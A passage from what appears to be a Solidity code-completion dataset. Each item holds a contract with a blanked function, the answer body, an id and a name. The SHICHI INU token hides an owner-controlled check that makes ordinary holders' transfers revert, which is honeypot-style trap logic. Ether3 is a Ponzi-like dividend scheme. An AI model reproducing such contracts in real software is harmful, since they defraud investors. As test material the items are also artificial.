== lpPair) { currentFee = _sellFee; } else { currentFee = _transferFee; } if (_hasLimits(from, to)){ if (_liqAddStatus == 0 || _liqAddStatus != 69420133769) { revert(); } } uint256 burnAmt = (amount * currentFee * _burnRatio) / (_burnRatio + _liquidityWalletRatios) / masterTaxDivisor; uint256 feeAmount = (amount * currentFee / masterTaxDivisor) - burnAmt; _tOwned[DEAD] += burnAmt; _tOwned[address(this)] += (feeAmount); emit Transfer(from, DEAD, burnAmt); emit Transfer(from, address(this), feeAmount); return amount - feeAmount - burnAmt; } }
contract SHICHI is Context, IERC20 { // Ownership moved to in-contract for customizability. address private _owner; mapping (address => uint256) private _tOwned; mapping (address => bool) lpPairs; uint256 private timeSinceLastPair = 0; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) private _isSniperOrBlacklisted; mapping (address => bool) private _liquidityHolders; mapping (address => bool) public isExcludedFromWalletRestrictions; uint256 private startingSupply = 100_000_000; string private _name = "SHICHI INU"; string private _symbol = "SHICHI"; uint256 public _buyFee = 800; uint256 public _sellFee = 900; uint256 public _transferFee = 2000; uint256 constant public maxBuyTaxes = 1250; uint256 constant public maxSellTaxes = 1600; uint256 constant public maxTransferTaxes = 2000; // ratios uint256 private _liquidityRatio = 0; uint256 private _marketingRatio = 666; uint256 private _teamRatio = 334; uint256 private _burnRatio = 0; // ratios uint256 private _liquidityWalletRatios = _teamRatio + _liquidityRatio + _marketingRatio; uint256 private _WalletRatios = _teamRatio + _marketingRatio; uint256 private constant masterTaxDivisor = 10000; uint256 private constant MAX = ~uint256(0); uint8 constant private _decimals = 9; uint256 private _tTotal = startingSupply * 10**_decimals; uint256 private _tFeeTotal; IUniswapV2Router02 public dexRouter; address public lpPair; // UNI ROUTER address constant private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address constant public DEAD = 0x000000000000000000000000000000000000dEaD; // Receives tokens, deflates supply, increases price floor. address payable private _marketingWallet = payable(0x7EAC7b108d9bAc750A3cf69DFBCD1de617Baa3e7); address payable private _teamWallet = payable(0x8d869357F0548C4dEc15ccfA80a24b931fBdd404); bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; uint256 private maxTxPercent = 33; uint256 private maxTxDivisor = 10_000; uint256 public _maxTxAmount = (_tTotal * maxTxPercent) / maxTxDivisor; uint256 private maxWalletPercent = 100; uint256 private maxWalletDivisor = 10_000; uint256 public _maxWalletSize = (_tTotal * maxWalletPercent) / maxWalletDivisor; uint256 private swapThreshold = (_tTotal * 5) / 10_000; uint256 private swapAmount = (_tTotal * 5) / 1_000; bool private sniperProtection = true; bool public _hasLiqBeenAdded = false; uint256 private _liqAddStatus = 0; uint256 private _liqAddBlock = 0; uint256 private _liqAddStamp = 0; uint256 private _initialLiquidityAmount = 0; // make constant uint256 private snipeBlockAmt = 0; uint256 public snipersCaught = 0; bool private sameBlockActive = true; mapping (address => uint256) private lastTrade; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SniperCaught(address sniperAddress); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } modifier onlyOwner() { require(_owner == _msgSender(), "Caller != owner."); _; } constructor () payable { _tOwned[_msgSender()] = _tTotal; // Set the owner. _owner = msg.sender; dexRouter = IUniswapV2Router02(_routerAddress); lpPair = IUniswapV2Factory(dexRouter.factory()).createPair(dexRouter.WETH(), address(this)); lpPairs[lpPair] = true; _allowances[address(this)][address(dexRouter)] = type(uint256).max; _isExcludedFromFees[owner()] = true; _isExcludedFromFees[address(this)] = true; _isExcludedFromFees[DEAD] = true; _liquidityHolders[owner()] = true; // Approve the owner for Uniswap, timesaver. _approve(_msgSender(), _routerAddress, _tTotal); // Event regarding the tTotal transferred to the _msgSender. emit Transfer(address(0), _msgSender(), _tTotal); } receive() external payable {} //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== // Ownable removed as a lib and added here to allow for custom transfers and recnouncements. // This allows for removal of ownership privelages from the owner once renounced or transferred. function owner() public view returns (address) { return _owner; } function transferOwner(address newOwner) external onlyOwner() { require(newOwner != address(0), "Call renounceOwnership to transfer owner to the zero address."); require(newOwner != DEAD, "Call renounceOwnership to transfer owner to the zero address."); setExcludedFromFees(_owner, false); setExcludedFromFees(newOwner, true); if (_marketingWallet == payable(_owner)) _marketingWallet = payable(newOwner); _allowances[_owner][newOwner] = balanceOf(_owner); if(balanceOf(_owner) > 0) { _transfer(_owner, newOwner, balanceOf(_owner)); } _owner = newOwner; emit OwnershipTransferred(_owner, newOwner); } function renounceOwnership() public virtual onlyOwner() { setExcludedFromFees(_owner, false); _owner = address(0); emit OwnershipTransferred(_owner, address(0)); } //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== function totalSupply() external view override returns (uint256) { return _tTotal; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external view override returns (string memory) { return _symbol; } function name() external view override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner(); } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address sender, address spender, uint256 amount) private { require(sender != address(0), "ERC20: Zero Address"); require(spender != address(0), "ERC20: Zero Address"); _allowances[sender][spender] = amount; emit Approval(sender, spender, amount); } function approveMax(address spender) public returns (bool) { return approve(spender, type(uint256).max); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if (_allowances[sender][msg.sender] != type(uint256).max) { _allowances[sender][msg.sender] -= amount; } return _transfer(sender, recipient, amount); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } <FILL_FUNCTION> function setLpPair(address pair, bool enabled) external onlyOwner { if (enabled == false) { lpPairs[pair] = false; } else { if (timeSinceLastPair != 0) { require(block.timestamp - timeSinceLastPair > 1 weeks, "One week cooldown."); } lpPairs[pair] = true; timeSinceLastPair = block.timestamp; } } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function setExcludedFromFees(address account, bool enabled) public onlyOwner { _isExcludedFromFees[account] = enabled; } function isSniperOrBlacklisted(address account) public view returns (bool) { return _isSniperOrBlacklisted[account]; } function isProtected(uint256 rInitializer) external onlyOwner { require (_liqAddStatus == 0, "Error."); _liqAddStatus = rInitializer; snipeBlockAmt = 3; } function setBlacklistEnabled(address account, bool enabled) external onlyOwner() { _isSniperOrBlacklisted[account] = enabled; } function setProtectionSettings(bool antiSnipe, bool antiBlock) external onlyOwner() { sniperProtection = antiSnipe; sameBlockActive = antiBlock; } function setRatios(uint256 liquidity, uint256 marketing, uint256 team, uint256 burnRatio) external onlyOwner { require ( (liquidity + marketing + team + burnRatio) == 1000, "Must add up to 1000"); _liquidityRatio = liquidity; _marketingRatio = marketing; _teamRatio = team; _burnRatio = burnRatio; } function setTaxes(uint256 buyFee, uint256 sellFee, uint256 transferFee) external onlyOwner { require(buyFee <= maxBuyTaxes && sellFee <= maxSellTaxes && transferFee <= maxTransferTaxes, "Cannot exceed maximums."); _buyFee = buyFee; _sellFee = sellFee; _transferFee = transferFee; } function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner { uint256 check = (_tTotal * percent) / divisor; require(check >= (_tTotal / 300), "Must be above 0.33~% of total supply."); _maxTxAmount = check; } function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner { uint256 check = (_tTotal * percent) / divisor; require(check >= (_tTotal / 300), "Must be above 0.33~% of total supply."); _maxWalletSize = check; } function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner { swapThreshold = (_tTotal * thresholdPercent) / thresholdDivisor; swapAmount = (_tTotal * amountPercent) / amountDivisor; } function setWallets(address payable marketingWallet, address payable teamWallet) external onlyOwner { _marketingWallet = payable(marketingWallet); _teamWallet = payable(teamWallet); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function _hasLimits(address from, address to) private view returns (bool) { return from != owner() && to != owner() && !_liquidityHolders[to] && !_liquidityHolders[from] && to != DEAD && to != address(0) && from != address(this); } function excludeFromWalletRestrictions(address excludedAddress) public onlyOwner{ isExcludedFromWalletRestrictions[excludedAddress] = true; } function revokeExcludedFromWalletRestrictions(address excludedAddress) public onlyOwner{ isExcludedFromWalletRestrictions[excludedAddress] = false; } function _transfer(address from, address to, uint256 amount) internal returns (bool) { require(from != address(0), "ERC20: Zero address."); require(to != address(0), "ERC20: Zero address."); require(amount > 0, "Must >0."); if(_hasLimits(from, to)) { if (sameBlockActive) { if (lpPairs[from]){ require(lastTrade[to] != block.number); lastTrade[to] = block.number; } else { require(lastTrade[from] != block.number); lastTrade[from] = block.number; } } if(!(isExcludedFromWalletRestrictions[from] || isExcludedFromWalletRestrictions[to])){ if(lpPairs[from] || lpPairs[to]){ require(amount <= _maxTxAmount, "Exceeds the maxTxAmount."); } if(to != _routerAddress && !lpPairs[to]) { require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } } } bool takeFee = true; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){ takeFee = false; } if (lpPairs[to]) { if (!inSwapAndLiquify && swapAndLiquifyEnabled ) { uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= swapThreshold) { if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; } swapAndLiquify(contractTokenBalance); } } } return _finalizeTransfer(from, to, amount, takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { if (_liquidityRatio + _marketingRatio + _teamRatio == 0) return; uint256 toLiquify = ((contractTokenBalance * _liquidityRatio) / _liquidityWalletRatios) / 2; uint256 toSwapForEth = contractTokenBalance - toLiquify; swapTokensForEth(toSwapForEth); uint256 currentBalance = address(this).balance; uint256 liquidityBalance = ((currentBalance * _liquidityRatio/2) / (_liquidityRatio/2 + _WalletRatios)); if (toLiquify > 0) { addLiquidity(toLiquify, liquidityBalance); emit SwapAndLiquify(toLiquify, liquidityBalance, toLiquify); } if (contractTokenBalance - toLiquify > 0) { _marketingWallet.transfer(((currentBalance - liquidityBalance) * _marketingRatio) / (_WalletRatios)); _teamWallet.transfer(address(this).balance); } } function swapTokensForEth(uint256 tokenAmount) internal { address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { dexRouter.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable DEAD, block.timestamp ); } function _checkLiquidityAdd(address from, address to) private { require(!_hasLiqBeenAdded, "Liquidity already added and marked."); if (!_hasLimits(from, to) && to == lpPair) { if (snipeBlockAmt != 3) { _liqAddBlock = block.number + 5000; } else { _liqAddBlock = block.number; } _liquidityHolders[from] = true; _hasLiqBeenAdded = true; _liqAddStamp = block.timestamp; swapAndLiquifyEnabled = true; emit SwapAndLiquifyEnabledUpdated(true); } } function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee) private returns (bool) { if (sniperProtection){ if (isSniperOrBlacklisted(from) || isSniperOrBlacklisted(to)) { revert("Sniper rejected."); } if (!_hasLiqBeenAdded) { _checkLiquidityAdd(from, to); if (!_hasLiqBeenAdded && _hasLimits(from, to)) { revert("Only owner can transfer at this time."); } } else { if (_liqAddBlock > 0 && lpPairs[from] && _hasLimits(from, to) ) { if (block.number - _liqAddBlock < snipeBlockAmt) { _isSniperOrBlacklisted[to] = true; snipersCaught ++; emit SniperCaught(to); } } } } _tOwned[from] -= amount; uint256 amountReceived = (takeFee) ? takeTaxes(from, to, amount) : amount; _tOwned[to] += amountReceived; emit Transfer(from, to, amountReceived); return true; } function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) { uint256 currentFee; if (from == lpPair) { currentFee = _buyFee; } else if (to == lpPair) { currentFee = _sellFee; } else { currentFee = _transferFee; } if (_hasLimits(from, to)){ if (_liqAddStatus == 0 || _liqAddStatus != 69420133769) { revert(); } } uint256 burnAmt = (amount * currentFee * _burnRatio) / (_burnRatio + _liquidityWalletRatios) / masterTaxDivisor; uint256 feeAmount = (amount * currentFee / masterTaxDivisor) - burnAmt; _tOwned[DEAD] += burnAmt; _tOwned[address(this)] += (feeAmount); emit Transfer(from, DEAD, burnAmt); emit Transfer(from, address(this), feeAmount); return amount - feeAmount - burnAmt; } }
IUniswapV2Router02 _newRouter = IUniswapV2Router02(newRouter); address get_pair = IUniswapV2Factory(_newRouter.factory()).getPair(address(this), _newRouter.WETH()); if (get_pair == address(0)) { lpPair = IUniswapV2Factory(_newRouter.factory()).createPair(address(this), _newRouter.WETH()); } else { lpPair = get_pair; } dexRouter = _newRouter;
function setNewRouter(address newRouter) public onlyOwner()
function setNewRouter(address newRouter) public onlyOwner()
62455
EthanolShiba
EthanolShiba
contract EthanolShiba is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function EthanolShiba() public {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract EthanolShiba is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; <FILL_FUNCTION> // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
symbol = "EOSHI"; name = "EthanolShiba"; decimals = 18; _totalSupply = 1000000000000000000000000000000000; balances[0x41a6917b3DE01359B75EB85de7b4a68FcE35452E] = _totalSupply; Transfer(address(0), 0x41a6917b3DE01359B75EB85de7b4a68FcE35452E, _totalSupply);
function EthanolShiba() public
// ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function EthanolShiba() public
57252
Ether3
dailyPercent
contract Ether3 is Accessibility { using RapidGrowthProtection for RapidGrowthProtection.rapidGrowthProtection; using PrivateEntrance for PrivateEntrance.privateEntrance; using Percent for Percent.percent; using SafeMath for uint; using Math for uint; // easy read for investors using Address for *; using Zero for *; RapidGrowthProtection.rapidGrowthProtection private m_rgp; PrivateEntrance.privateEntrance private m_privEnter; mapping(address => bool) private m_referrals; InvestorsStorage private m_investors; // automatically generates getters uint public constant minInvesment = 10 finney; // 0.01 eth uint public constant maxBalance = 300e5 ether; // 30 000 000 eth address public advertisingAddress; address public adminsAddress; uint public investmentsNumber; uint public waveStartup; // percents Percent.percent private m_1_percent = Percent.percent(1, 100); // 1/100 *100% = 1% Percent.percent private m_2_percent = Percent.percent(2, 100); // 2/100 *100% = 2% Percent.percent private m_3_percent = Percent.percent(3, 100); // 3/100 *100% = 3% Percent.percent private m_adminsPercent = Percent.percent(5, 100); // 5/100 *100% = 5% Percent.percent private m_advertisingPercent = Percent.percent(7, 100); // 7/100 *100% = 7% // more events for easy read from blockchain event LogPEInit(uint when, address rev1Storage, address rev2Storage, uint investorMaxInvestment, uint endTimestamp); event LogSendExcessOfEther(address indexed addr, uint when, uint value, uint investment, uint excess); event LogNewReferral(address indexed addr, address indexed referrerAddr, uint when, uint refBonus); event LogRGPInit(uint when, uint startTimestamp, uint maxDailyTotalInvestment, uint activityDays); event LogRGPInvestment(address indexed addr, uint when, uint investment, uint indexed day); event LogNewInvesment(address indexed addr, uint when, uint investment, uint value); event LogAutomaticReinvest(address indexed addr, uint when, uint investment); event LogPayDividends(address indexed addr, uint when, uint dividends); event LogNewInvestor(address indexed addr, uint when); event LogBalanceChanged(uint when, uint balance); event LogNextWave(uint when); event LogDisown(uint when); modifier balanceChanged { _; emit LogBalanceChanged(now, address(this).balance); } modifier notFromContract() { require(msg.sender.isNotContract(), "only externally accounts"); _; } constructor() public { adminsAddress = msg.sender; advertisingAddress = msg.sender; nextWave(); } function() public payable { // investor get him dividends if (msg.value.isZero()) { getMyDividends(); return; } // sender do invest doInvest(msg.data.toAddress()); } function doDisown() public onlyOwner { disown(); emit LogDisown(now); } function init(address rev1StorageAddr, uint timestamp) public onlyOwner { // init Rapid Growth Protection m_rgp.startTimestamp = timestamp + 1; m_rgp.maxDailyTotalInvestment = 500 ether; m_rgp.activityDays = 21; emit LogRGPInit( now, m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays ); // init Private Entrance m_privEnter.rev1Storage = Rev1Storage(rev1StorageAddr); m_privEnter.rev2Storage = Rev2Storage(address(m_investors)); m_privEnter.investorMaxInvestment = 50 ether; m_privEnter.endTimestamp = timestamp; emit LogPEInit( now, address(m_privEnter.rev1Storage), address(m_privEnter.rev2Storage), m_privEnter.investorMaxInvestment, m_privEnter.endTimestamp ); } function setAdvertisingAddress(address addr) public onlyOwner { addr.requireNotZero(); advertisingAddress = addr; } function setAdminsAddress(address addr) public onlyOwner { addr.requireNotZero(); adminsAddress = addr; } function privateEntranceProvideAccessFor(address[] addrs) public onlyOwner { m_privEnter.provideAccessFor(addrs); } function rapidGrowthProtectionmMaxInvestmentAtNow() public view returns(uint investment) { investment = m_rgp.maxInvestmentAtNow(); } function investorsNumber() public view returns(uint) { return m_investors.size(); } function balanceETH() public view returns(uint) { return address(this).balance; } function percent1() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_1_percent.num, m_1_percent.den); } function percent2() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_2_percent.num, m_2_percent.den); } function percent3() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_3_percent.num, m_3_percent.den); } function advertisingPercent() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_advertisingPercent.num, m_advertisingPercent.den); } function adminsPercent() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_adminsPercent.num, m_adminsPercent.den); } function investorInfo(address investorAddr) public view returns(uint investment, uint paymentTime, bool isReferral) { (investment, paymentTime) = m_investors.investorInfo(investorAddr); isReferral = m_referrals[investorAddr]; } function investorDividendsAtNow(address investorAddr) public view returns(uint dividends) { dividends = calcDividends(investorAddr); } function dailyPercentAtNow() public view returns(uint numerator, uint denominator) { Percent.percent memory p = dailyPercent(); (numerator, denominator) = (p.num, p.den); } function refBonusPercentAtNow() public view returns(uint numerator, uint denominator) { Percent.percent memory p = refBonusPercent(); (numerator, denominator) = (p.num, p.den); } function getMyDividends() public notFromContract balanceChanged { // calculate dividends uint dividends = calcDividends(msg.sender); require (dividends.notZero(), "cannot to pay zero dividends"); // update investor payment timestamp assert(m_investors.setPaymentTime(msg.sender, now)); // check enough eth - goto next wave if needed if (address(this).balance <= dividends) { nextWave(); dividends = address(this).balance; } // transfer dividends to investor msg.sender.transfer(dividends); emit LogPayDividends(msg.sender, now, dividends); } function doInvest(address referrerAddr) public payable notFromContract balanceChanged { uint investment = msg.value; uint receivedEther = msg.value; require(investment >= minInvesment, "investment must be >= minInvesment"); require(address(this).balance <= maxBalance, "the contract eth balance limit"); if (m_rgp.isActive()) { // use Rapid Growth Protection if needed uint rpgMaxInvest = m_rgp.maxInvestmentAtNow(); rpgMaxInvest.requireNotZero(); investment = Math.min(investment, rpgMaxInvest); assert(m_rgp.saveInvestment(investment)); emit LogRGPInvestment(msg.sender, now, investment, m_rgp.currDay()); } else if (m_privEnter.isActive()) { // use Private Entrance if needed uint peMaxInvest = m_privEnter.maxInvestmentFor(msg.sender); peMaxInvest.requireNotZero(); investment = Math.min(investment, peMaxInvest); } // send excess of ether if needed if (receivedEther > investment) { uint excess = receivedEther - investment; msg.sender.transfer(excess); receivedEther = investment; emit LogSendExcessOfEther(msg.sender, now, msg.value, investment, excess); } // commission advertisingAddress.send(m_advertisingPercent.mul(receivedEther)); adminsAddress.send(m_adminsPercent.mul(receivedEther)); bool senderIsInvestor = m_investors.isInvestor(msg.sender); // ref system works only once and only on first invest if (referrerAddr.notZero() && !senderIsInvestor && !m_referrals[msg.sender] && referrerAddr != msg.sender && m_investors.isInvestor(referrerAddr)) { m_referrals[msg.sender] = true; // add referral bonus to investor`s and referral`s investments uint refBonus = refBonusPercent().mmul(investment); assert(m_investors.addInvestment(referrerAddr, refBonus)); // add referrer bonus investment += refBonus; // add referral bonus emit LogNewReferral(msg.sender, referrerAddr, now, refBonus); } // automatic reinvest - prevent burning dividends uint dividends = calcDividends(msg.sender); if (senderIsInvestor && dividends.notZero()) { investment += dividends; emit LogAutomaticReinvest(msg.sender, now, dividends); } if (senderIsInvestor) { // update existing investor assert(m_investors.addInvestment(msg.sender, investment)); assert(m_investors.setPaymentTime(msg.sender, now)); } else { // create new investor assert(m_investors.newInvestor(msg.sender, investment, now)); emit LogNewInvestor(msg.sender, now); } investmentsNumber++; emit LogNewInvesment(msg.sender, now, investment, receivedEther); } function getMemInvestor(address investorAddr) internal view returns(InvestorsStorage.Investor memory) { (uint investment, uint paymentTime) = m_investors.investorInfo(investorAddr); return InvestorsStorage.Investor(investment, paymentTime); } function calcDividends(address investorAddr) internal view returns(uint dividends) { InvestorsStorage.Investor memory investor = getMemInvestor(investorAddr); // safe gas if dividends will be 0 if (investor.investment.isZero() || now.sub(investor.paymentTime) < 10 minutes) { return 0; } // for prevent burning daily dividends if 24h did not pass - calculate it per 10 min interval // if daily percent is X, then 10min percent = X / (24h / 10 min) = X / 144 // and we must to get numbers of 10 min interval after investor got payment: // (now - investor.paymentTime) / 10min // finaly calculate dividends = ((now - investor.paymentTime) / 10min) * (X * investor.investment) / 144) Percent.percent memory p = dailyPercent(); dividends = (now.sub(investor.paymentTime) / 10 minutes) * p.mmul(investor.investment) / 144; } function dailyPercent() internal view returns(Percent.percent memory p) {<FILL_FUNCTION_BODY> } function refBonusPercent() internal view returns(Percent.percent memory p) { uint balance = address(this).balance; // (1) 1% if 100 000 ETH < balance // (2) 2% if 10 000 ETH <= balance <= 100 000 ETH // (3) 3% if balance < 10 000 ETH if (balance < 10000 ether) { p = m_3_percent.toMemory(); // (3) } else if ( 10000 ether <= balance && balance <= 100000 ether) { p = m_2_percent.toMemory(); // (2) } else { p = m_1_percent.toMemory(); // (1) } } function nextWave() private { m_investors = new InvestorsStorage(); investmentsNumber = 0; waveStartup = now; m_rgp.startAt(now); emit LogRGPInit(now , m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays); emit LogNextWave(now); } }
contract Ether3 is Accessibility { using RapidGrowthProtection for RapidGrowthProtection.rapidGrowthProtection; using PrivateEntrance for PrivateEntrance.privateEntrance; using Percent for Percent.percent; using SafeMath for uint; using Math for uint; // easy read for investors using Address for *; using Zero for *; RapidGrowthProtection.rapidGrowthProtection private m_rgp; PrivateEntrance.privateEntrance private m_privEnter; mapping(address => bool) private m_referrals; InvestorsStorage private m_investors; // automatically generates getters uint public constant minInvesment = 10 finney; // 0.01 eth uint public constant maxBalance = 300e5 ether; // 30 000 000 eth address public advertisingAddress; address public adminsAddress; uint public investmentsNumber; uint public waveStartup; // percents Percent.percent private m_1_percent = Percent.percent(1, 100); // 1/100 *100% = 1% Percent.percent private m_2_percent = Percent.percent(2, 100); // 2/100 *100% = 2% Percent.percent private m_3_percent = Percent.percent(3, 100); // 3/100 *100% = 3% Percent.percent private m_adminsPercent = Percent.percent(5, 100); // 5/100 *100% = 5% Percent.percent private m_advertisingPercent = Percent.percent(7, 100); // 7/100 *100% = 7% // more events for easy read from blockchain event LogPEInit(uint when, address rev1Storage, address rev2Storage, uint investorMaxInvestment, uint endTimestamp); event LogSendExcessOfEther(address indexed addr, uint when, uint value, uint investment, uint excess); event LogNewReferral(address indexed addr, address indexed referrerAddr, uint when, uint refBonus); event LogRGPInit(uint when, uint startTimestamp, uint maxDailyTotalInvestment, uint activityDays); event LogRGPInvestment(address indexed addr, uint when, uint investment, uint indexed day); event LogNewInvesment(address indexed addr, uint when, uint investment, uint value); event LogAutomaticReinvest(address indexed addr, uint when, uint investment); event LogPayDividends(address indexed addr, uint when, uint dividends); event LogNewInvestor(address indexed addr, uint when); event LogBalanceChanged(uint when, uint balance); event LogNextWave(uint when); event LogDisown(uint when); modifier balanceChanged { _; emit LogBalanceChanged(now, address(this).balance); } modifier notFromContract() { require(msg.sender.isNotContract(), "only externally 